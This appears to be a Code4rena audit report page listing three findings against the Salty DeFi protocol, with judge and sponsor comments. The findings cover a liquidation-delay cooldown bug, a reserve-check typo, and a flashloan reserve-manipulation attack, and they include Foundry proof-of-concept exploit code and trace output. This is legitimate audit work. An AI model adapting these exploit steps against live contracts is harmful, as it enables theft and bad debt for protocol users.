Platform: Code4rena
Start Date: 16/01/2024
Pot Size: $80,000 USDC
Total HM: 37
Participants: 178
Period: 14 days
Judge: Picodes
Total Solo HM: 4
Id: 320
League: ETH
Rank: 92/178
Findings: 3
Award: $67.25
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xbepresent
Also found by: 00xSEV, 0xAlix2, 0xAsen, 0xBinChook, 0xCiphky, 0xRobocop, 0xanmol, 0xlemon, 0xpiken, Arz, Audinarey, Auditwolf, Aymen0909, Banditx0x, CaeraDenoir, DanielArmstrong, Draiakoo, HALITUS, Infect3d, J4X, Jorgect, Kalyan-Singh, KingNFT, Krace, PENGUN, Toshii, Udsen, ayden, b0g0, c0pp3rscr3w3r, developerjordy, djxploit, erosjohn, holydevoti0n, iamandreiski, israeladelaja, juancito, klau5, lanrebayode77, memforvik, mussucal, n0kto, novodelta, pkqs90, solmaxis69, stackachu, twcctop, zhaojie, zhaojohnson
0.7809 USDC - $0.78
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L140-L188 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L97-L111
Liquidations can be delayed as well adding more collateral can be delayed which can lead to de-pegging usds
The function liquidateUser calls _decreaseUserShare as can be seen from below snippet.
function liquidateUser( address wallet ) external nonReentrant { ... // Withdraw the liquidated collateral from the liquidity pool. // The liquidity is owned by this contract so when it is withdrawn it will be reclaimed by this contract. (uint256 reclaimedWBTC, uint256 reclaimedWETH) = pools.removeLiquidity(wbtc, weth, userCollateralAmount, 0, 0, totalShares[collateralPoolID] ); // Decrease the user's share of collateral as it has been liquidated and they no longer have it. _decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, true ); ///@audit ^ calls _decreaseUserShare .... }
_decreaseUserShare function in turn checks for liquidity cooldown but it can be manipulated easily by adding some amount of collateral just above the DUST i.e 100. So a malicious debtor can postpone his liquidation for an hour. This can be harmful for usds in a flash crash situation where each hour he gets delayed the more loss the project takes. Leading to de - pegging of the stable coin.
function _decreaseUserShare( address wallet, bytes32 poolID, uint256 decreaseShareAmount, bool useCooldown ) internal { ... if ( useCooldown ) if ( msg.sender != address(exchangeConfig.dao()) ) // DAO doesn't use the cooldown { require( block.timestamp >= user.cooldownExpiration, "Must wait for the cooldown to expire" ); ///<-@audit cooldown check ... } ... }
Conversly someone might not be able to add enough collateral to his loan in time.
Here's a coded poc-
function setupSaltWethPool() public { vm.startPrank(DEPLOYER); salt.approve(address(collateralAndLiquidity), 1000 ether); weth.approve(address(collateralAndLiquidity), 1 ether); (,,uint addedLiq)=collateralAndLiquidity.depositLiquidityAndIncreaseShare(salt,weth,1000 ether, 1 ether, 1001 ether,block.timestamp,false); assertEq(addedLiq, 1001 ether); vm.stopPrank(); } function setupSaltWbtcPool() public { vm.startPrank(DEPLOYER); salt.approve(address(collateralAndLiquidity), 16000 ether); wbtc.approve(address(collateralAndLiquidity), 1e8); collateralAndLiquidity.depositLiquidityAndIncreaseShare(salt,wbtc,16000 ether, 1e8, 0,block.timestamp,false); vm.stopPrank(); } function testBadDebt6() public{ vm.label(address(dai),"dai"); vm.label(address(weth),"weth"); vm.label(address(wbtc),"wbtc"); vm.label(address(salt),"salt"); vm.mockCall(address(forcedPriceFeed),abi.encodeWithSelector(bytes4(keccak256("getPriceBTC()"))), abi.encode(40000 ether)); vm.mockCall(address(forcedPriceFeed),abi.encodeWithSelector(bytes4(keccak256("getPriceETH()"))), abi.encode(2500 ether)); //setting up both the pools setupSaltWbtcPool(); setupSaltWethPool(); vm.startPrank(DEPLOYER); wbtc.transfer(bob, 1e8); weth.transfer(bob,16 ether + 0.01 ether); wbtc.approve(address(collateralAndLiquidity),type(uint256).max); weth.approve(address(collateralAndLiquidity), type(uint256).max); collateralAndLiquidity.depositCollateralAndIncreaseShare(1e8,16 ether,0,block.timestamp,false); changePrank(bob); wbtc.approve(address(collateralAndLiquidity),type(uint256).max); weth.approve(address(collateralAndLiquidity), type(uint256).max); collateralAndLiquidity.depositCollateralAndIncreaseShare(1e8,16 ether,0,block.timestamp,false); uint borrowAmt = collateralAndLiquidity.maxBorrowableUSDS(bob); collateralAndLiquidity.borrowUSDS(borrowAmt); assertEq(usds.balanceOf(bob),borrowAmt); vm.stopPrank(); emit log_named_decimal_uint("borrowedAmt",borrowAmt,18); emit log_named_decimal_uint("colateralVal",collateralAndLiquidity.userCollateralValueInUSD(bob),18); vm.warp(block.timestamp + 10 days); vm.mockCall(address(forcedPriceFeed),abi.encodeWithSelector(bytes4(keccak256("getPriceBTC()"))), abi.encode(40000 ether / 2)); vm.mockCall(address(forcedPriceFeed),abi.encodeWithSelector(bytes4(keccak256("getPriceETH()"))), abi.encode(2500 ether / 2)); emit log_named_decimal_uint("colateralVal",collateralAndLiquidity.userCollateralValueInUSD(bob),18); assertEq(collateralAndLiquidity.canUserBeLiquidated(bob),true); // now bob frontruns liquidation attempts vm.startPrank(bob); collateralAndLiquidity.depositCollateralAndIncreaseShare(0,0.0001 ether,0,block.timestamp,true); changePrank(DEPLOYER); vm.expectRevert(bytes("Must wait for the cooldown to expire")); collateralAndLiquidity.liquidateUser(bob); vm.stopPrank(); }
add it to pools.t.sol and run the test using the command
COVERAGE="yes" NETWORK="sep" forge test --match-test testBadDebt6 -vv --rpc-url https://rpc.sepolia.org
Manual Review
Currently 'canUserBeLiquidated' is a view function you can add a non view variant of the same function but in this function if a user can be liquidated then set his cooldown to 0. and call that non view function in the liquidateUser function.
Invalid Validation
#0 - c4-judge
2024-02-02T10:48:44Z
Picodes marked the issue as duplicate of #312
#1 - c4-judge
2024-02-17T18:50:03Z
Picodes marked the issue as satisfactory
🌟 Selected for report: neocrao
Also found by: 00xSEV, 0x11singh99, 0x3b, 0xAlix2, 0xRobocop, 0xSmartContractSamurai, 0xanmol, AgileJune, Drynooo, HALITUS, Imp, J4X, KHOROAMU, Kalyan-Singh, MSaptarshi, RootKit0xCE, The-Seraphs, agadzhalov, aman, ayden, cu5t0mpeo, erosjohn, ewah, jasonxiale, jesjupyter, juancito, klau5, memforvik, okolicodes, parrotAudits0, rudolph, t0x1c, wangxx2026, zhaojohnson
1.6255 USDC - $1.63
One token's reserves in a pool can hit 0. Leading to skewed reserve ratio
A typing error in pools.sol's remove liquidity function leads to the contract performing both the DUST amt checks on reserves.reserve0. Which can lead to one of the pools emptying out and skewing the reserve ratio.
function removeLiquidity( IERC20 tokenA, IERC20 tokenB, uint256 liquidityToRemove, uint256 minReclaimedA, uint256 minReclaimedB, uint256 totalLiquidity ) external nonReentrant returns (uint256 reclaimedA, uint256 reclaimedB) { ... require((reserves.reserve0 >= PoolUtils.DUST) && (reserves.reserve0 >= PoolUtils.DUST), "Insufficient reserves after liquidity removal"); ///@audit ^ both the DUST checks are on reserve0 ... emit LiquidityRemoved(tokenA, tokenB, reclaimedA, reclaimedB, liquidityToRemove); }
Manual Review
The bug seems to have made its way into the codebase during ABDK's fix code's review commit. In the 2nd check make sure to check reserves.reserve1 >= DUST
Error
#0 - c4-judge
2024-02-01T10:46:17Z
Picodes marked the issue as duplicate of #1041
#1 - c4-judge
2024-02-19T15:39:01Z
Picodes changed the severity to 2 (Med Risk)
#2 - c4-judge
2024-02-19T15:39:38Z
Picodes marked the issue as satisfactory
🌟 Selected for report: Banditx0x
Also found by: Arz, Infect3d, Kalyan-Singh, PENGUN, Toshii, a3yip6, israeladelaja, jasonxiale, linmiaomiao, zhaojohnson
64.8396 USDC - $64.84
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/pools/Pools.sol#L382-L391 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L95-L111 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/arbitrage/ArbitrageSearch.sol#L39-L53
De-pegging of USDS and bad debts
Lets take a look at the following scenario 1 SALT -> 2.5$ 1 ETH -> 2500$ -> 1000 SALT 1 BTC -> 40000$ -> 16 ETH WETH : SALT pool has -> 1 WETH : 1000 SALT WBTC : SALT pool has -> 1 WBTC : 16000 SALT WETH : WBTC pool has -> 0.01 WBTC : 0.16 WETH (For simpler calculations) all the pools are in the correct ratio as you can see from the prices. Bob flashloans 5000 SALT(or simply has them), 10 WBTC, 40 WETH = 512500$
He calls pools.depositSwapWithdraw() with tokenIn as SALT and tokenOut as WETH.
(uint wethAmountOut) = pools.depositSwapWithdraw(salt,weth,5000 ether,0,block.timestamp);
depositSwapWithdraw calls _adjustReservesForSwapAndAttemptArbitrage which in turn calls _adjustReservesForSwap which returns swapAmountOut as 0.833 WETH because -> (1 e18 * 5000 e18)/ (5000 e18 + 1000 e18) = 0.833 WETH Next in the call stack _attemptArbitrage is called and so on (Run the POC with stacktraces for more details).
├─ [78715] Pools::depositSwapWithdraw(salt: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], weth: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], 5000000000000000000000 [5e21], 0, 432002 [4.32e5]) │ ├─ [3442] salt::transferFrom(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], Pools: [0xa04158516381FC23EFDDeAF54258601A7572DCC8], 5000000000000000000000 [5e21]) │ │ ├─ emit Transfer(from: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], to: Pools: [0xa04158516381FC23EFDDeAF54258601A7572DCC8], value: 5000000000000000000000 [5e21]) │ │ └─ ← true │ ├─ emit LogData(valueInEth: 138888888888888889 [1.388e17], a0: 166666666666666667 [1.666e17], a1: 6000000000000000000000 [6e21], b0: 16000000000000000000000 [1.6e22], b1: 100000000 [1e8], c0: 1000000 [1e6], c1: 160000000000000000 [1.6e17], arbAmountIn: 20966000027126734 [2.096e16]) │ ├─ emit SwapAndArbitrage(user: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], swapTokenIn: salt: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], swapTokenOut: weth: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], swapAmountIn: 5000000000000000000000 [5e21], swapAmountOut: 833333333333333333 [8.333e17], arbitrageProfit: 107172375010086648 [1.071e17]) │ ├─ [3034] weth::transfer(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], 833333333333333333 [8.333e17]) │ │ ├─ emit Transfer(from: Pools: [0xa04158516381FC23EFDDeAF54258601A7572DCC8], to: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], value: 833333333333333333 [8.333e17]) │ │ └─ ← true │ └─ ← 833333333333333333 [8.333e17]
Essentially after bob is done with swapping out his 5000 SALT to 0.833 WETH the pool reserves will Look like this
------------ ReserveAfterSaltSwap ------------- reserve_Wbtc_wbtc_weth_pool: 0.05021715 reserve_Weth_wbtc_weth_pool: 0.031861624962786618 reserve_Weth_weth_salt_pool: 0.187632666693793401 reserve_Salt_weth_salt_pool: 5329.562371097923848262 reserve_Salt_salt_wbtc_pool: 16670.437628902076151738 reserve_Wbtc_salt_wbtc_pool: 0.95978285 ------------ ReserveAfterSaltSwap -------------
Where reserve_Wbtc_wbtc_weth_pool represents WBTC reserve in WBTC : WETH pool , reserve_Weth_wbtc_weth_pool represents WETH reserve in WBTC : WETH and so on.
These can be verified by both running the coded POC and doing manual calculations of _arbitrage function using the 'LogData' event in the above plaintext blob, which i added to know to state of contracts before _arbitrage is called.
So you might notice that the wbtc & weth ratio are skewed almost making 5 WBTC = 3 WETH. Now bob calls depositCollateralAndIncreaseShare function with 10 WBTC and 10 WETH passed in as input amounts(flashloaned) . So the protocol adds 10 WBTC and 6.334 WETH as he did not dual zap. Next he takes maxBorrowableLoan 207931$ of USDS
At this point bob has 207931$ of USDS & 33.666 WETH. & wbtc-weth pool reserves are- WbtcReservesNow: 10.05021715 WethReservesNow: 6.376631282895707542
In the next step bob rebalances the reserves close to their original ration of 1 WBTC = 16 WETH and in the process swaps out most of his deposited WBTC for cheaper prices. In the poc he gives 30 WETH(~ approx 1.9 wbtc) to recieve back btcOut: 8.28846717.
Now bob's attack is complete and his final balances are finalWethBalanceBob: 4.488563675400412409 -> 11,222 $ finalWbtcBalanceBob: 8.28846717 -> 331,536 $ finalUsdsBalanceBob: 207930.961872416151153750 -> 207,931 $
making his final dollar value ~= 550,690, yielding a net profit = 550,690 - 512,500(flashloan value) ~= 38,190 $.
So in a nutshell the attack vector can be summarized as -
It is also important to note that arbitrage path while swapping SALT to WETH & swapping WETH to WBTC is the same i.e WETH->SALT->WBTC->WETH Which was crucial for this attack vector to work.
function _arbitragePath( IERC20 swapTokenIn, IERC20 swapTokenOut ) internal view returns (IERC20 arbToken2, IERC20 arbToken3) { // swap: WBTC->WETH // arb: WETH->WBTC->SALT->WETH if ( address(swapTokenIn) == address(wbtc)) if ( address(swapTokenOut) == address(weth)) return (wbtc, salt); // swap: WETH->WBTC // arb: WETH->SALT->WBTC->WETH if ( address(swapTokenIn) == address(weth)) if ( address(swapTokenOut) == address(wbtc)) return (salt, wbtc); // swap: WETH->swapTokenOut // arb: WETH->WBTC->swapTokenOut->WETH if ( address(swapTokenIn) == address(weth)) return (wbtc, swapTokenOut); // swap: swapTokenIn->WETH // arb: WETH->swapTokenIn->WBTC->WETH <@audit if swapTokenIn = SALT then the path become WETH->SALT->WBTC->WETH same as WETH->WBTC path if ( address(swapTokenOut) == address(weth)) return (swapTokenIn, wbtc); // swap: swapTokenIn->swapTokenOut // arb: WETH->swapTokenOut->swapTokenIn->WETH return (swapTokenOut, swapTokenIn); }
Now here is the coded POC, add it to src/pools/tests/Pools.t.sol and run using
COVERAGE="yes" NETWORK="sep" forge test --match-test testBadDebt4 -vvvv --rpc-url https://rpc.sepolia.org
function emitHelper() internal { (uint reserveWbtc_wbtc_weth_pool,uint reserveWeth_wbtc_weth_pool)= pools.getPoolReserves(wbtc,weth); (uint reserveWeth_weth_dai_pool,uint reserveDai_weth_dai_pool) = pools.getPoolReserves(weth,dai); (uint reserveWbtc_wbtc_dai_pool,uint reserveDai_wbtc_dai_pool) = pools.getPoolReserves(wbtc,dai); (uint reserveWeth_weth_salt_pool,uint reserveSalt_weth_salt_pool) = pools.getPoolReserves(weth,salt); (uint reserveSalt_salt_wbtc_pool,uint reserveWbtc_salt_wbtc_pool) = pools.getPoolReserves(salt,wbtc); emit log_named_decimal_uint("reserve_Wbtc_wbtc_weth_pool", reserveWbtc_wbtc_weth_pool, 8); emit log_named_decimal_uint("reserve_Weth_wbtc_weth_pool", reserveWeth_wbtc_weth_pool, 18); emit log_named_decimal_uint("reserve_Weth_weth_dai_pool", reserveWeth_weth_dai_pool, 18); emit log_named_decimal_uint("reserve_Dai_weth_dai_pool", reserveDai_weth_dai_pool, 18); emit log_named_decimal_uint("reserve_Wbtc_wbtc_dai_pool", reserveWbtc_wbtc_dai_pool, 8); emit log_named_decimal_uint("reserve_Dai_wbtc_dai_pool", reserveDai_wbtc_dai_pool, 18); emit log_named_decimal_uint("reserve_Weth_weth_salt_pool", reserveWeth_weth_salt_pool, 18); emit log_named_decimal_uint("reserve_Salt_weth_salt_pool", reserveSalt_weth_salt_pool, 18); emit log_named_decimal_uint("reserve_Salt_salt_wbtc_pool", reserveSalt_salt_wbtc_pool, 18); emit log_named_decimal_uint("reserve_Wbtc_salt_wbtc_pool", reserveWbtc_salt_wbtc_pool, 8); } function setupSaltWethPool() public { vm.startPrank(DEPLOYER); salt.approve(address(collateralAndLiquidity), 1000 ether); weth.approve(address(collateralAndLiquidity), 1 ether); (,,uint addedLiq)=collateralAndLiquidity.depositLiquidityAndIncreaseShare(salt,weth,1000 ether, 1 ether, 1001 ether,block.timestamp,false); assertEq(addedLiq, 1001 ether); vm.stopPrank(); } function setupSaltWbtcPool() public { vm.startPrank(DEPLOYER); salt.approve(address(collateralAndLiquidity), 16000 ether); wbtc.approve(address(collateralAndLiquidity), 1e8); collateralAndLiquidity.depositLiquidityAndIncreaseShare(salt,wbtc,16000 ether, 1e8, 0,block.timestamp,false); vm.stopPrank(); } function calculateDollarValue(uint wbtcAmount , uint wethAmount) internal view returns(uint totalValue){ wbtcAmount = wbtcAmount * 10**10; // in 10**18 uint wbtcValue = (wbtcAmount * forcedPriceFeed.getPriceBTC()) / 1e18; uint wethValue = (wethAmount * forcedPriceFeed.getPriceETH() ) / 1e18; totalValue = wbtcValue + wethValue; } function testBadDebt4() public { vm.label(address(dai),"dai"); vm.label(address(weth),"weth"); vm.label(address(wbtc),"wbtc"); vm.label(address(salt),"salt"); vm.mockCall(address(forcedPriceFeed),abi.encodeWithSelector(bytes4(keccak256("getPriceBTC()"))), abi.encode(40000 ether)); vm.mockCall(address(forcedPriceFeed),abi.encodeWithSelector(bytes4(keccak256("getPriceETH()"))), abi.encode(2500 ether)); vm.startPrank(DEPLOYER); //1 wbtc -> 40,000$ , 1 weth -> 2500$ , 1 salt ->2.5$(Let's say) // so 1 wbtc -> 16 weth , 1 weth -> 1000 salt // 10e8 -> wbtc , 40-> weth , 5000 eth salt ~= 5 weth (assumed price of salt = 2.5$) uint initialDollarValue = calculateDollarValue(10e8,45 ether); emit log_named_decimal_uint("initialDollarValue",initialDollarValue,18); assertEq(usds.balanceOf(bob),0); // bob flashloans the tokens wbtc.transfer(bob, 10e8); weth.transfer(bob,40 ether); salt.transfer(bob,5000 ether); wbtc.approve(address(collateralAndLiquidity),type(uint256).max); weth.approve(address(collateralAndLiquidity),type(uint256).max); collateralAndLiquidity.depositCollateralAndIncreaseShare(1e6,0.16 ether,0,block.timestamp,false); vm.stopPrank(); //setting up both the pools setupSaltWbtcPool(); setupSaltWethPool(); // logging intial reserves console.log(); console.log("------------ InitialReserves -------------"); emitHelper(); console.log("------------ InitialReserves -------------"); console.log(); //swap out to imbalance the reserves vm.startPrank(bob); salt.approve(address(pools),type(uint).max); (uint wethAmountOut) = pools.depositSwapWithdraw(salt,weth,5000 ether,0,block.timestamp); emit log_named_decimal_uint("wethAmountOut", wethAmountOut, 18); console.log(); console.log("------------ ReserveAfterSaltSwap -------------"); emitHelper(); console.log("------------ ReserveAfterSaltSwap -------------"); console.log(); wbtc.approve(address(collateralAndLiquidity), type(uint256).max); weth.approve(address(collateralAndLiquidity), type(uint256).max); weth.approve(address(pools),type(uint256).max); // add Liquidity to imbalanced reserves (uint wbtcAdded,uint wethAdded,) = collateralAndLiquidity.depositCollateralAndIncreaseShare(10e8,10 ether,0,block.timestamp,false); assertEq(wbtcAdded,10e8); uint usdsAmount = collateralAndLiquidity.maxBorrowableUSDS(bob); emit log_named_decimal_uint("usdsAmount", usdsAmount, 18); emit log_named_decimal_uint("wethAdded", wethAdded, 18); collateralAndLiquidity.borrowUSDS(usdsAmount); assertEq(usds.balanceOf(bob),usdsAmount); (uint wbtcReserve, uint wethReserve) = pools.getPoolReserves(wbtc,weth); emit log_named_decimal_uint("WbtcReservesNow", wbtcReserve, 8); emit log_named_decimal_uint("WethReservesNow", wethReserve, 18); // give in 30 weth to a pool where 5 WBTC ~= 3 WETH // in this step bob gets back most of his 10 WBTC given 9 lines ago. (uint amountOut)=pools.depositSwapWithdraw(weth,wbtc,30 ether,0,block.timestamp); emit log_named_decimal_uint("btcOut", amountOut, 8); uint finalWethBalanceBob = weth.balanceOf(bob); uint finalWbtcBalanceBob = wbtc.balanceOf(bob); uint finalUsdsBalanceBob = usds.balanceOf(bob); // uint finalSaltBalanceBob = salt.balanceOf(bob); assertEq(salt.balanceOf(bob) ,0); emit log_named_decimal_uint("finalWethBalanceBob",finalWethBalanceBob, 18); emit log_named_decimal_uint("finalWbtcBalanceBob", finalWbtcBalanceBob, 8); emit log_named_decimal_uint("finalUsdsBalanceBob", finalUsdsBalanceBob, 18); uint finalDollarValue = calculateDollarValue(finalWbtcBalanceBob, finalWethBalanceBob) + finalUsdsBalanceBob; emit log_named_decimal_uint("finalDollarValue", finalDollarValue, 18); emit log_named_decimal_uint("Profit",finalDollarValue-initialDollarValue,18); vm.stopPrank(); console.log(); console.log("------------ ReserveAfter -------------"); emitHelper(); console.log("------------ ReserveAfter -------------"); }
If you want to manually verify u can also add the LogData event in Pools.sol's _attempArbitrage
function _attemptArbitrage( IERC20 swapTokenIn, IERC20 swapTokenOut, uint256 swapAmountIn ) internal returns (uint256 arbitrageProfit ) { .... uint256 arbitrageAmountIn = _bisectionSearch(swapAmountInValueInETH, reservesA0, reservesA1, reservesB0, reservesB1, reservesC0, reservesC1 ); emit LogData(swapAmountInValueInETH,reservesA0,reservesA1,reservesB0,reservesB1,reservesC0,reservesC1,arbitrageAmountIn); ///@audit ^ the new event to check proceedings during internal calls // If arbitrage is viable, then perform it if (arbitrageAmountIn > 0) arbitrageProfit = _arbitrage(arbToken2, arbToken3, arbitrageAmountIn); }
Manual review
Error
#0 - c4-judge
2024-02-07T15:14:47Z
Picodes marked the issue as primary issue
#1 - c4-sponsor
2024-02-12T21:39:07Z
othernet-global (sponsor) disputed
#2 - othernet-global
2024-02-12T21:40:10Z
In the POC the amount of SALT swapped is 5x the amount of SALT in the pool reserves. Yes, this will shift the reserves and is acceptable behavior as a single trade being 5x the reserves is not realistic.
#3 - Picodes
2024-02-18T17:26:43Z
This is a duplicate of #222 with a detailed example.
#4 - c4-judge
2024-02-18T17:26:50Z
Picodes marked the issue as duplicate of #222
#5 - c4-judge
2024-02-18T17:41:38Z
Picodes changed the severity to 2 (Med Risk)
#6 - c4-judge
2024-02-21T16:53:45Z
Picodes marked the issue as satisfactory